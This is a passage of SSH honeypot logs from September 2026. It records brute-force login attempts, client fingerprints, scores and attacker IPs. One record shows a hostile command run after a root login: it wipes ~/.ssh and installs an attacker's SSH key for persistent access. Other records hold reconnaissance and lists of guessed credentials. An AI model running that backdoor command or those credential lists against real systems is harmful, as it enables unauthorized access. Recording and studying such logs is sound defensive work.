  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "aol.comnboen",
      "pass": "sljc0913"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

198.211.105.151

2026-09-18 15:40:27.536137 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ianboen

Record ID: c3990b04296f

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "c3990b04296f",
  "src_ip": "198.211.105.151",
  "start_time": "2026-09-18T15:40:27.536137Z",
  "end_time": "2026-09-18T15:40:28.872256Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "ianboen",
      "pass": "Lilly0"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

117.72.69.18

2026-09-18 15:40:07.987224 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d6a4b7e3546c

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "d6a4b7e3546c",
  "src_ip": "117.72.69.18",
  "start_time": "2026-09-18T15:40:07.987224Z",
  "end_time": "2026-09-18T15:42:08.013594Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

35.84.0.162

2026-09-18 15:39:46.634429 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 488e6d30d48d

Client Version: SSH-2.0-paramiko_3.4.1

Engagement Duration: 0.3s

HASSH Fingerprint: 87e3d9ffee0540b0390f8a5b9c343c08

{
  "id": "488e6d30d48d",
  "src_ip": "35.84.0.162",
  "start_time": "2026-09-18T15:39:46.634429Z",
  "end_time": "2026-09-18T15:39:46.888427Z",
  "duration": "0.3",
  "version": "SSH-2.0-paramiko_3.4.1",
  "hassh": "87e3d9ffee0540b0390f8a5b9c343c08",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

35.84.0.162

2026-09-18 15:39:45.954776 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 725edc7629dd

Client Version: SSH-2.0-paramiko_3.4.1

Engagement Duration: 0.6s

HASSH Fingerprint: 87e3d9ffee0540b0390f8a5b9c343c08

{
  "id": "725edc7629dd",
  "src_ip": "35.84.0.162",
  "start_time": "2026-09-18T15:39:45.954776Z",
  "end_time": "2026-09-18T15:39:46.593192Z",
  "duration": "0.6",
  "version": "SSH-2.0-paramiko_3.4.1",
  "hassh": "87e3d9ffee0540b0390f8a5b9c343c08",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

35.84.0.162

2026-09-18 15:39:45.771391 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 05cda9966b6a

Client Version: SSH-2.0-paramiko_3.4.1

Engagement Duration: 0.1s

HASSH Fingerprint: 87e3d9ffee0540b0390f8a5b9c343c08

{
  "id": "05cda9966b6a",
  "src_ip": "35.84.0.162",
  "start_time": "2026-09-18T15:39:45.771391Z",
  "end_time": "2026-09-18T15:39:45.865409Z",
  "duration": "0.1",
  "version": "SSH-2.0-paramiko_3.4.1",
  "hassh": "87e3d9ffee0540b0390f8a5b9c343c08",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

35.84.0.162

2026-09-18 15:39:45.442167 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: fa19a7eb59ba

Client Version: SSH-2.0-paramiko_3.4.1

Engagement Duration: 0.2s

HASSH Fingerprint: 87e3d9ffee0540b0390f8a5b9c343c08

{
  "id": "fa19a7eb59ba",
  "src_ip": "35.84.0.162",
  "start_time": "2026-09-18T15:39:45.442167Z",
  "end_time": "2026-09-18T15:39:45.661174Z",
  "duration": "0.2",
  "version": "SSH-2.0-paramiko_3.4.1",
  "hassh": "87e3d9ffee0540b0390f8a5b9c343c08",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

35.84.0.162

2026-09-18 15:39:45.118807 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a9feeb3e56e6

Client Version: SSH-2.0-paramiko_3.4.1

Engagement Duration: 0.2s

HASSH Fingerprint: 87e3d9ffee0540b0390f8a5b9c343c08

{
  "id": "a9feeb3e56e6",
  "src_ip": "35.84.0.162",
  "start_time": "2026-09-18T15:39:45.118807Z",
  "end_time": "2026-09-18T15:39:45.283211Z",
  "duration": "0.2",
  "version": "SSH-2.0-paramiko_3.4.1",
  "hassh": "87e3d9ffee0540b0390f8a5b9c343c08",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

35.84.0.162

2026-09-18 15:39:44.848638 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 05c2f320fcd6

Client Version: SSH-2.0-paramiko_3.4.1

Engagement Duration: 0.2s

HASSH Fingerprint: 87e3d9ffee0540b0390f8a5b9c343c08

{
  "id": "05c2f320fcd6",
  "src_ip": "35.84.0.162",
  "start_time": "2026-09-18T15:39:44.848638Z",
  "end_time": "2026-09-18T15:39:45.038065Z",
  "duration": "0.2",
  "version": "SSH-2.0-paramiko_3.4.1",
  "hassh": "87e3d9ffee0540b0390f8a5b9c343c08",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

35.84.0.162

2026-09-18 15:39:43.883107 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 97d780227b15

Client Version: SSH-2.0-paramiko_3.4.1

Engagement Duration: 0.9s

HASSH Fingerprint: 87e3d9ffee0540b0390f8a5b9c343c08

{
  "id": "97d780227b15",
  "src_ip": "35.84.0.162",
  "start_time": "2026-09-18T15:39:43.883107Z",
  "end_time": "2026-09-18T15:39:44.808211Z",
  "duration": "0.9",
  "version": "SSH-2.0-paramiko_3.4.1",
  "hassh": "87e3d9ffee0540b0390f8a5b9c343c08",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

35.84.0.162

2026-09-18 15:39:43.569140 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7b8cddfa0d45

Client Version: SSH-2.0-paramiko_3.4.1

Engagement Duration: 0.3s

HASSH Fingerprint: 87e3d9ffee0540b0390f8a5b9c343c08

{
  "id": "7b8cddfa0d45",
  "src_ip": "35.84.0.162",
  "start_time": "2026-09-18T15:39:43.569140Z",
  "end_time": "2026-09-18T15:39:43.843150Z",
  "duration": "0.3",
  "version": "SSH-2.0-paramiko_3.4.1",
  "hassh": "87e3d9ffee0540b0390f8a5b9c343c08",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

159.65.89.89

2026-09-18 15:37:41.827617 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ianboen

Record ID: 6914d60c5f15

Client Version: SSH-2.0-Go

Engagement Duration: 1.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "6914d60c5f15",
  "src_ip": "159.65.89.89",
  "start_time": "2026-09-18T15:37:41.827617Z",
  "end_time": "2026-09-18T15:37:43.565220Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "ianboen",
      "pass": "ecovexence"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

117.72.69.18

2026-09-18 15:37:32.099242 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 24f6ac58e163

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "24f6ac58e163",
  "src_ip": "117.72.69.18",
  "start_time": "2026-09-18T15:37:32.099242Z",
  "end_time": "2026-09-18T15:39:32.200074Z",
  "duration": "120.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

117.72.69.18

2026-09-18 15:34:53.953342 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9b9ab5b90454

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "9b9ab5b90454",
  "src_ip": "117.72.69.18",
  "start_time": "2026-09-18T15:34:53.953342Z",
  "end_time": "2026-09-18T15:36:53.984202Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

42.1.65.89

2026-09-18 15:34:27.032985 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: opc

Record ID: b1da250645da

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "b1da250645da",
  "src_ip": "42.1.65.89",
  "start_time": "2026-09-18T15:34:27.032985Z",
  "end_time": "2026-09-18T15:34:29.226178Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "opc",
      "pass": "opc"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

42.1.65.89

2026-09-18 15:32:59.422781 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: eaebb15fb451

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "eaebb15fb451",
  "src_ip": "42.1.65.89",
  "start_time": "2026-09-18T15:32:59.422781Z",
  "end_time": "2026-09-18T15:33:00.605219Z",
  "duration": "1.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

42.1.65.89

2026-09-18 15:32:57.012774 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 23d0949153d7

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "23d0949153d7",
  "src_ip": "42.1.65.89",
  "start_time": "2026-09-18T15:32:57.012774Z",
  "end_time": "2026-09-18T15:32:59.236000Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

42.1.65.89

2026-09-18 15:32:54.559510 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / opr/e9uxpx8

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 8028b6b5f2b3

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 6.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "8028b6b5f2b3",
  "src_ip": "42.1.65.89",
  "start_time": "2026-09-18T15:32:54.559510Z",
  "end_time": "2026-09-18T15:33:00.601462Z",
  "duration": "6.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "opr/e9uxpx8"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

42.1.65.89

2026-09-18 15:31:28.599149 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: piyush

Record ID: 1f4c8829ec97

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "1f4c8829ec97",
  "src_ip": "42.1.65.89",
  "start_time": "2026-09-18T15:31:28.599149Z",
  "end_time": "2026-09-18T15:31:30.818943Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "piyush",
      "pass": "piyush@123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

202.155.236.242

2026-09-18 15:30:34.550717 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: ubuntu / ianboen2026!

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -a 2>/dev/null

Record ID: ecb77529266e

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 06ff3615a51b2af343ec22abc8e30bbc

{
  "id": "ecb77529266e",
  "src_ip": "202.155.236.242",
  "start_time": "2026-09-18T15:30:34.550717Z",
  "end_time": "2026-09-18T15:30:35.836573Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "06ff3615a51b2af343ec22abc8e30bbc",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "ianboen2026!"
  },
  "commands": [
    "uname -a 2>/dev/null"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -a 2>/dev/null",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

2.57.121.25

2026-09-18 15:30:12.719485 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / danmark

Record ID: 6eb9734c2c45

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "6eb9734c2c45",
  "src_ip": "2.57.121.25",
  "start_time": "2026-09-18T15:30:12.719485Z",
  "end_time": "2026-09-18T15:30:18.724475Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "danmark"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}